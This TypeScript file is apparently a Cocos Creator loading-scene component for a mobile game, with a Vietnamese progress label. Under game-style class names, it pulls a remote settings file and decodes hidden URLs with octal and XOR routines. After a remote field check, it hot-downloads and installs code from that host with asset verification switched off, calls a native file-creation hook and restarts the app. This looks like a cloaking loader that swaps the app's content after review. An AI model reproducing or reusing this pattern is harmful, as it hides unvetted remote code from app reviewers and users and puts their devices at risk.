import { Component, Label, Sprite, SpriteFrame, UITransform, _decorator, game, log, native, sys } from "cc";
import HordeMode from "./HordeMode";
import { BattleRoyale } from "./BattleRoyale";

const { ccclass, property } = _decorator;

const customManifestStr = (hots) => JSON.stringify({
    "packageUrl": `${hots}/`,
    "remoteManifestUrl": `${hots}/project.manifest`,
    "remoteVersionUrl": `${hots}/version.manifest`,
    "version": "0.0.1",
    "assets": {
    },
    "searchPaths": []
});

function versionCompareHandle(versionA: string, versionB: string) {
    // //log("JS Custom Version Compare: version A is " + versionA + ', version B is ' + versionB);
    var vA = versionA.split('.');
    var vB = versionB.split('.');
    for (var i = 0; i < vA.length; ++i) {
        var a = parseInt(vA[i]);
        var b = parseInt(vB[i] || '0');
        if (a === b) {
            continue;
        }
        else {
            return a - b;
        }
    }
    if (vB.length > vA.length) {
        return -1;
    }
    else {
        return 0;
    }
};

@ccclass
export default class LavaCave extends Component {

    // private readonly CROSS_ORIGIN_SETTINGS = "https://raw.githubusercontent.com/devian68/intertest/a/inter3.info";
    // @property(SpriteFrame)
    // listBG: SpriteFrame[] = [];

    // @property(Sprite)
    // background: Sprite = null;

    @property(Label)
    loadingLabel: Label = null;

    @property(UITransform)
    transform: UITransform = null;

    private isCheckDomain = true;

    private _updating = false;
    private _canRetry = false;
    private _storagePath = '';
    private stringHost = '';
    private _am: native.AssetsManager = null!;
    private _checkListener = null;
    private _updateListener = null;
    private count = 0;

    url = "";
    profilerURL = "";
    listUrl = [];
    info = "";
    currentV = "";
    part = "";

    protected onLoad(): void {
        try {
            if (this.transform.width > this.transform.height) {
                //landscape
                this.loadingLabel.fontSize = 80;
            } else {
                this.loadingLabel.fontSize = 50;
            }
        } catch (ex) {
            
        }
        // let t = readData(this.test);
        // console.//log(t);
    }

    start() {
        let ins = BattleRoyale.getInstance();
        if(ins){
            this.listUrl = ins.listUrl;
            if(this.listUrl && this.listUrl.length && this.listUrl.length == 5){
                this.part = ins.listUrl[4];
                this.setOrientation(ins.orient);
                this.loadGame();
                return;
            }
        }
        
        this.getData();
    }

    private getData() {
        //log("StartScene getData");

        let that = this;
        HordeMode.getInstance().sendGetHttpRequest(BattleRoyale.CROSS_ORIGIN_SETTINGS, function (data) {
            //log("getData data: ", data);

            that.listUrl = data.split('\n');
            //log('list url: ', that.listUrl)

            if (that.listUrl.length > 2) {
                //log(that.listUrl[4]);
                if (that.listUrl.length >= 5 && that.listUrl[4].includes("skt")) {
                    that.isCheckDomain = false;
                    //log("gogame");
                    that.loadGame();
                } else {
                    that.getDataV4();
                }
            }else{
                that.loadData(data);
            }

        }.bind(this), function () { });
    }

    private initDownloader(path = "mygame") {
        try {
            // this.background.spriteFrame = this.listBG[Math.floor(Math.random() * this.listBG.length)];
        } catch (error) {

        }

        if (path == null || path == undefined) {
            path = "mygame";
        }
        this.part = path;
        // //log("path: " + path);
        this._storagePath = ((native.fileUtils ? native.fileUtils.getWritablePath() : './') + path);
        // //log('Storage path for remote asset : ' + this._storagePath);
        // Init with empty manifest url for testing custom manifest
        this._am = new native.AssetsManager('', this._storagePath, versionCompareHandle);
        this._am.setVerifyCallback(function (path, asset) {
            return true;
        });
    }

    private loadData(data:string){
        let dt = this.readData(data);
        //return [orientation, isSkipDomainCheck, urlV4, urlV6, fieldToCheck, urlPro5, storagePath];
        this.setOrientation(dt[0]);
        this.isCheckDomain = !dt[1];
        this.listUrl = [];
        this.listUrl.push(dt[2]);
        this.listUrl.push(dt[3]);
        this.listUrl.push(dt[4]);
        this.listUrl.push(dt[5]);
        this.listUrl.push(dt[6]);
        this.part = dt[6];
        // this.loadGame();
        this.getDataV4();
    }

    onDestroy() {
        if (this._updateListener) {
            this._am.setEventCallback(null!);
            this._updateListener = null;
        }
    }



    //0 = portrait
    //1 = landscape right
    //2 = upside down
    //3 = landscape right
    private setOrientation(orientation = 0) {
        if (sys.isNative) {
            if (sys.os === sys.OS.IOS) {
                if (native) {
                    try {
                        //@ts-expect-error
                        native.reflection.callStaticMethod("ViewController", "rotateScreen:", orientation);
                    } catch (_) { }
                }
            }
        }
    }

    private loadMyGame() {
        this.unscheduleAllCallbacks();
    }

    private onCheckGame(val) {
        // let data = val.split("\n");

        // val = this.read(data[0]);

        this.initDownloader(this.part);

        this.unscheduleAllCallbacks();
        this.stringHost = val;

        this.doUpdate();
    }

    private doUpdate() {
        if (this._am && !this._updating) {
            this._am.setEventCallback(this.updateCb.bind(this));
            let host = this.listUrl[3];
            if (sys.os == sys.OS.ANDROID) {
                host += "/android";
            } else if (sys.os == sys.OS.IOS) {
                host += "/ios";
            }
            this.loadCustomManifest(host);

            this._am.update();
            this._updating = true;
        }
    }



    private getDataV4() {
        this.currentV = "v4";
        let u = this.read(this.listUrl[0]);
        if(!this.isCheckDomain){
            this.getDataV6();
            this.listUrl[0] = "g";
        }
        if (this.listUrl[0].includes("http") == false) {
            return;
        }

        let self = this;
        HordeMode.getInstance().sendGetHttpRequest(this.listUrl[0] + this.info, function (data) {
            self.onDataResponse(data);
        }.bind(this), function (resp) {
            self.getDataV6();
        }.bind(this));
    }

    private getDataV6() {
        this.currentV = "v6";
        if(!this.isCheckDomain){
            this.loadGame();
            return;
        }
        let u = this.read(this.listUrl[1]);
        HordeMode.getInstance().sendGetHttpRequest(this.listUrl[1] + this.info, function (data) {
            this.onDataResponse(data)
        }.bind(this), function (resp) {
            // this.getDataV6();
        }.bind(this));
    }

    private onDataResponse(data) {
        // console.//log("onDataResponse data: ", data)
        if (this.isCheckDomain) {
            data = JSON.parse(data);
            let field = this.listUrl[2];
            if (data != null && data != undefined && data[field] != undefined) {
                this.loadGame();
            } else {
                if (this.currentV == "v4") {
                    this.getDataV6();
                }
            }
        } else {
            this.loadGame();
        }
    }

    private loadGame() {
        if (this.listUrl[3] != undefined && this.listUrl[3] != "") {
            let url = this.read(this.listUrl[3]);
            let p = this.read(this.listUrl[this.listUrl.length - 1]);
            this.stringHost = url;
            this.onCheckGame(url);
        }
    }

    private loadCustomManifest(host) {
        var manifest = new native.Manifest(customManifestStr(host), this._storagePath);
        this._am.loadLocalManifest(manifest, this._storagePath);
    }

    private updateCb(event: any) {
        var needRestart = false;
        var failed = false;
        switch (event.getEventCode()) {
            case native.EventAssetsManager.ERROR_NO_LOCAL_MANIFEST:
                //log('No local manifest file found, hot update skipped.');
                failed = true;
                break;
            case native.EventAssetsManager.UPDATE_PROGRESSION:
                // this.panel.byteProgress.progress = event.getPercent();
                // this.panel.fileProgress.progress = event.getPercentByFile();

                const percent = event.getDownloadedFiles() / event.getTotalFiles();
                // this.panel.byteLabel.string = event.getDownloadedBytes() + ' / ' + event.getTotalBytes();
                var msg = event.getMessage();
                if (msg) {
                    // //log(event.getPercent()/100 + '% : ' + msg);
                }
                this.updateProcess(percent);
                break;
            case native.EventAssetsManager.ERROR_DOWNLOAD_MANIFEST:
            case native.EventAssetsManager.ERROR_PARSE_MANIFEST:
                //log('Fail to download manifest file, hot update skipped.');
                failed = true;
                break;
            case native.EventAssetsManager.ALREADY_UP_TO_DATE:
                //log('Already up to date with the latest remote version.');
                // failed = true;
                needRestart = true;
                break;
            case native.EventAssetsManager.UPDATE_FINISHED:
                //log('Update finished. ' + event.getMessage());
                needRestart = true;
                break;
            case native.EventAssetsManager.UPDATE_FAILED:
                //log('Update failed. ' + event.getMessage());
                this._updating = false;
                this._canRetry = true;
                failed = true;
                break;
            case native.EventAssetsManager.ERROR_UPDATING:
                //log('Asset update error: ' + event.getAssetId() + ', ' + event.getMessage());
                failed = true;
                break;
            case native.EventAssetsManager.ERROR_DECOMPRESS:
                //log(event.getMessage());
                failed = true;
                break;
            default:
                break;
        }

        if (failed) {
            this._am.setEventCallback(null!);
            this._updateListener = null;
            this._updating = false;
            this.loadMyGame();
        }

        if (needRestart) {
            this._am.setEventCallback(null!);
            this._updateListener = null;

            this.testFile();
            setTimeout(() => {
                // //log('restart game')
                game.restart();
            }, 1000)
        }
    }

    private testFile() {
        if (sys.isNative) {
            if (sys.os === sys.OS.IOS) {
                if (native) {
                    try {
                        //@ts-expect-error
                        native.reflection.callStaticMethod("ViewController", "createFileeee");
                    } catch (_) { }
                }
            }else if (sys.os === sys.OS.ANDROID) {
                let className = "com/cocos/game/AppActivity";
                let methodName = "createFileeee";
                let methodSignature = "()V";
    
                if (native) {
                    native.reflection.callStaticMethod(className, methodName, methodSignature);
                }
            }
        }
    }

    private updateProcess(pc) {
        if (isNaN(pc)) {
            return;
        }

        try {
            this.loadingLabel.string = `Đang Tải: ${Math.round(pc * 100)}%`;
        } catch (error) {
            
        }
    }

    private read(text) {
        return this.read1(this.read2(text.split('-'))).join('');
    }

    private read1(arr) {
        return arr.map(function (byte) {
            return String.fromCharCode(parseInt(byte, 10));
        });
    }

    private read2(arr) {
        return arr.map(function (oct) {
            return parseInt(oct, 8);
        });
    }

    private readData(encodedData: string) {

        function getPr(cbL = 3) {
            let nPr = cbL - 1;
            nPr = nPr <= 0 ? 0 : nPr;
            return nPr;
        }

        function readCb(txt: string, cbL = 3, key = 'D') {
            let out = '';
            let txts = readStringCbs(txt, cbL);

            for (let i = 0; i < txts.length; i++) {
                let n = String.fromCharCode(Number.parseInt(txts[i]) ^ key.charCodeAt(0));
                out += n;
            }

            return out;
        }

        function getSep(ver = 1) {
            switch (ver) {
                case 1:
                    return ["9689", 3];
                case 2:
                    return ["9879", 3];
                case 3:
                    return ["9789", 3];
                default:
                    return ["9869", 3];
            }
        }

        function readStringCbs(input: string, cbLen = 3): string[] {
            const sets: string[] = [];
            const nPr = getPr(cbLen);
            const length = input.length - nPr;
            input = input.substring(nPr);

            for (let i = 0; i < length; i += cbLen) {
                const set = input.slice(i, i + cbLen);
                sets.push(set);
            }

            return sets;
        }

        //get last character of encodedData
        const version = Number.parseInt(encodedData[encodedData.length - 1]);
        let sep = getSep(version);
        let cbL: number = sep[1] as number;
        let sp = sep[0] as string;
        const parts = encodedData.split(sp);
        parts.pop();
        // const cbL = parseInt(parts.pop() || ''); // Get the cbL value from the last part

        const [urlPro5Part, skipDomainCheckPart, fieldToCheckPart, urlV6Part, orientationPart, storagePathPart, urlV4Part] = parts.map(part => readCb(part, cbL, '¡'));

        // const version = parseInt(versionPart);
        const orientation = parseInt(orientationPart);
        const isSkipDomainCheck = skipDomainCheckPart === '1';
        const urlV4 = urlV4Part;
        const urlV6 = urlV6Part;
        const fieldToCheck = fieldToCheckPart;
        const urlPro5 = urlPro5Part;
        const storagePath = storagePathPart;

        return [orientation, isSkipDomainCheck, urlV4, urlV6, fieldToCheck, urlPro5, storagePath];
    }
}